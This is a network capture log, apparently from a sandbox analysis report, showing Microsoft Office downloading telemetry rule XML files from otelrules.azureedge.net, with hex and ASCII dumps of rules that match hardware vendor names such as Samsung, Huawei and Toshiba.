2024-10-11 18:30:02 UTC	491	IN	HTTP/1.1 200 OK Date: Fri, 11 Oct 2024 18:30:02 GMT Content-Type: text/xml Content-Length: 428 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:17 GMT ETag: "0x8DC582BAC4F34CA" x-ms-request-id: ec733f58-401e-0035-529c-1b82d8000000 x-ms-version: 2018-03-28 x-azure-ref: 20241011T183002Z-r154656d9bc5qmxtyvgyzcay0c0000000nxg00000000kumh x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-11 18:30:02 UTC	428	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4d 6d 5d 5b 49 69 5d 5b 43 63 5d 5b 52 72 5d 5b 4f 6f 5d 2d 5b 53 73 5d 5b 54 74 5d 5b 41 61 5d 5b 52 72 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120629" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120627" /> <SR T="2" R="([Mm][Ii][Cc][Rr][Oo]-[Ss][Tt][Aa][Rr])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
58	192.168.2.4	57948	13.107.253.64	443

Timestamp	Bytes transferred	Direction	Data
2024-10-11 18:30:03 UTC	192	OUT	GET /rules/rule120630v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-11 18:30:03 UTC	491	IN	HTTP/1.1 200 OK Date: Fri, 11 Oct 2024 18:30:03 GMT Content-Type: text/xml Content-Length: 499 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:45 GMT ETag: "0x8DC582B98CEC9F6" x-ms-request-id: 9e066682-101e-008d-6332-1a92e5000000 x-ms-version: 2018-03-28 x-azure-ref: 20241011T183003Z-1597f6968449cxlldwc92t48ds00000003t000000000seuz x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-11 18:30:03 UTC	499	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120630" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120629" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
59	192.168.2.4	57950	13.107.253.64	443

Timestamp	Bytes transferred	Direction	Data
2024-10-11 18:30:03 UTC	192	OUT	GET /rules/rule120632v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-11 18:30:03 UTC	491	IN	HTTP/1.1 200 OK Date: Fri, 11 Oct 2024 18:30:03 GMT Content-Type: text/xml Content-Length: 471 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:33 GMT ETag: "0x8DC582BB5815C4C" x-ms-request-id: 184de8d0-a01e-000d-75ac-1bd1ea000000 x-ms-version: 2018-03-28 x-azure-ref: 20241011T183003Z-1597f696844q8c67yszg3hsx0000000003pg000000018h8e x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-11 18:30:03 UTC	471	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120632" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120631" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
60	192.168.2.4	57951	13.107.253.64	443

Timestamp	Bytes transferred	Direction	Data
2024-10-11 18:30:03 UTC	192	OUT	GET /rules/rule120633v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-11 18:30:03 UTC	491	IN	HTTP/1.1 200 OK Date: Fri, 11 Oct 2024 18:30:03 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:29 GMT ETag: "0x8DC582BB32BB5CB" x-ms-request-id: feda7a94-e01e-0051-0be9-1b84b2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241011T183003Z-r154656d9bcqc2n2s48bp5ktg8000000022g00000000et2x x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-11 18:30:03 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 53 73 5d 5b 41 61 5d 5b 4d 6d 5d 5b 53 73 5d 5b 55 75 5d 5b 4e 6e 5d 5b 47 67 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120633" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120631" /> <SR T="2" R="([Ss][Aa][Mm][Ss][Uu][Nn][Gg])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
61	192.168.2.4	57949	13.107.253.64	443

Timestamp	Bytes transferred	Direction	Data
2024-10-11 18:30:03 UTC	192	OUT	GET /rules/rule120631v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-11 18:30:03 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 11 Oct 2024 18:30:03 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B988EBD12" x-ms-request-id: 61714eeb-b01e-003e-768a-1b8e41000000 x-ms-version: 2018-03-28 x-azure-ref: 20241011T183003Z-r154656d9bcq7mrvshhcb7rrsn00000002qg000000007ppd x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-11 18:30:03 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 48 68 5d 5b 55 75 5d 5b 41 61 5d 5b 57 77 5d 5b 45 65 5d 5b 49 69 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120631" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120629" /> <SR T="2" R="([Hh][Uu][Aa][Ww][Ee][Ii])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
62	192.168.2.4	57952	13.107.253.64	443

Timestamp	Bytes transferred	Direction	Data
2024-10-11 18:30:03 UTC	192	OUT	GET /rules/rule120634v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-11 18:30:03 UTC	491	IN	HTTP/1.1 200 OK Date: Fri, 11 Oct 2024 18:30:03 GMT Content-Type: text/xml Content-Length: 494 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:38 GMT ETag: "0x8DC582BB8972972" x-ms-request-id: 0bce223c-701e-0053-1de7-1b3a0a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241011T183003Z-r154656d9bcpcz2wp6sxz2m5qw00000000w000000000bx9e x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-11 18:30:03 UTC	494	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120634" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120633" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
63	192.168.2.4	57956	13.107.253.64	443

Timestamp	Bytes transferred	Direction	Data
2024-10-11 18:30:04 UTC	192	OUT	GET /rules/rule120637v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-11 18:30:04 UTC	491	IN	HTTP/1.1 200 OK Date: Fri, 11 Oct 2024 18:30:04 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:12 GMT ETag: "0x8DC582BA909FA21" x-ms-request-id: 69483ed4-001e-0034-56df-1add04000000 x-ms-version: 2018-03-28 x-azure-ref: 20241011T183004Z-1597f6968445mkrl9xam3u5yc000000003tg00000000pe67 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-11 18:30:04 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 50 70 5d 5b 41 61 5d 5b 4e 6e 5d 5b 41 61 5d 5b 53 73 5d 5b 4f 6f 5d 5b 4e 6e 5d 5b 49 69 5d 5b 43 63 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120637" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120635" /> <SR T="2" R="([Pp][Aa][Nn][Aa][Ss][Oo][Nn][Ii][Cc])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
64	192.168.2.4	57953	13.107.253.64	443

Timestamp	Bytes transferred	Direction	Data
2024-10-11 18:30:04 UTC	192	OUT	GET /rules/rule120635v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-11 18:30:04 UTC	491	IN	HTTP/1.1 200 OK Date: Fri, 11 Oct 2024 18:30:04 GMT Content-Type: text/xml Content-Length: 420 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:53 GMT ETag: "0x8DC582B9DAE3EC0" x-ms-request-id: 84516256-001e-00ad-35a3-1b554b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241011T183004Z-r154656d9bcw8wfsu93rvvbgpc00000001kg0000000011t6 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-11 18:30:04 UTC	420	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 54 74 5d 5b 4f 6f 5d 5b 53 73 5d 5b 48 68 5d 5b 49 69 5d 5b 42 62 5d 5b 41 61 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120635" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120633" /> <SR T="2" R="^([Tt][Oo][Ss][Hh][Ii][Bb][Aa])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
65	192.168.2.4	57954	13.107.253.64	443	2668	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-11 18:30:04 UTC	192	OUT	GET /rules/rule120636v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-11 18:30:04 UTC	491	IN	HTTP/1.1 200 OK Date: Fri, 11 Oct 2024 18:30:04 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:52 GMT ETag: "0x8DC582B9D43097E" x-ms-request-id: dd141db6-901e-0029-7da3-1b274a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241011T183004Z-r154656d9bcpx9trrv16tqwhac0000000240000000018sc4 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-11 18:30:04 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120636" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120635" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
66	192.168.2.4	57955	13.107.253.64	443

Timestamp	Bytes transferred	Direction	Data
2024-10-11 18:30:04 UTC	192	OUT	GET /rules/rule120638v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-11 18:30:04 UTC	491	IN	HTTP/1.1 200 OK Date: Fri, 11 Oct 2024 18:30:04 GMT Content-Type: text/xml Content-Length: 486 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:35 GMT ETag: "0x8DC582B92FCB436" x-ms-request-id: fd6931ea-f01e-005d-1dac-1b13ba000000 x-ms-version: 2018-03-28 x-azure-ref: 20241011T183004Z-r154656d9bcxgrn9bkxmc6s93s000000013000000000xg13 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-11 18:30:04 UTC	486	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120638" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120637" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
67	192.168.2.4	57957	13.107.253.64	443

Timestamp	Bytes transferred	Direction	Data
2024-10-11 18:30:04 UTC	192	OUT	GET /rules/rule120639v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-11 18:30:04 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 11 Oct 2024 18:30:04 GMT Content-Type: text/xml Content-Length: 423 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:36 GMT ETag: "0x8DC582BB7564CE8" x-ms-request-id: fcff0b5c-f01e-005d-588a-1b13ba000000 x-ms-version: 2018-03-28 x-azure-ref: 20241011T183004Z-1597f696844qt6drz6tdp68z0s0000000110000000016y96 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-11 18:30:04 UTC	423	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 44 64 5d 5b 59 79 5d 5b 4e 6e 5d 5b 41 61 5d 5b 42 62 5d 5b 4f 6f 5d 5b 4f 6f 5d 5b 4b 6b 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120639" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120637" /> <SR T="2" R="([Dd][Yy][Nn][Aa][Bb][Oo][Oo][Kk])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0

Session ID	Source IP	Source Port	Destination IP	Destination Port
68	192.168.2.4	57958	13.107.253.64	443

Timestamp	Bytes transferred	Direction	Data
2024-10-11 18:30:05 UTC	192	OUT	GET /rules/rule120640v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-11 18:30:05 UTC	491	IN	HTTP/1.1 200 OK Date: Fri, 11 Oct 2024 18:30:05 GMT Content-Type: text/xml Content-Length: 478 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:48 GMT ETag: "0x8DC582B9B233827" x-ms-request-id: 49fa3939-001e-0017-20cd-1a0c3c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241011T183005Z-r154656d9bckpfgl7fe14swubc0000000nz000000000fwyg x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-11 18:30:05 UTC	478	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120640" V="0" 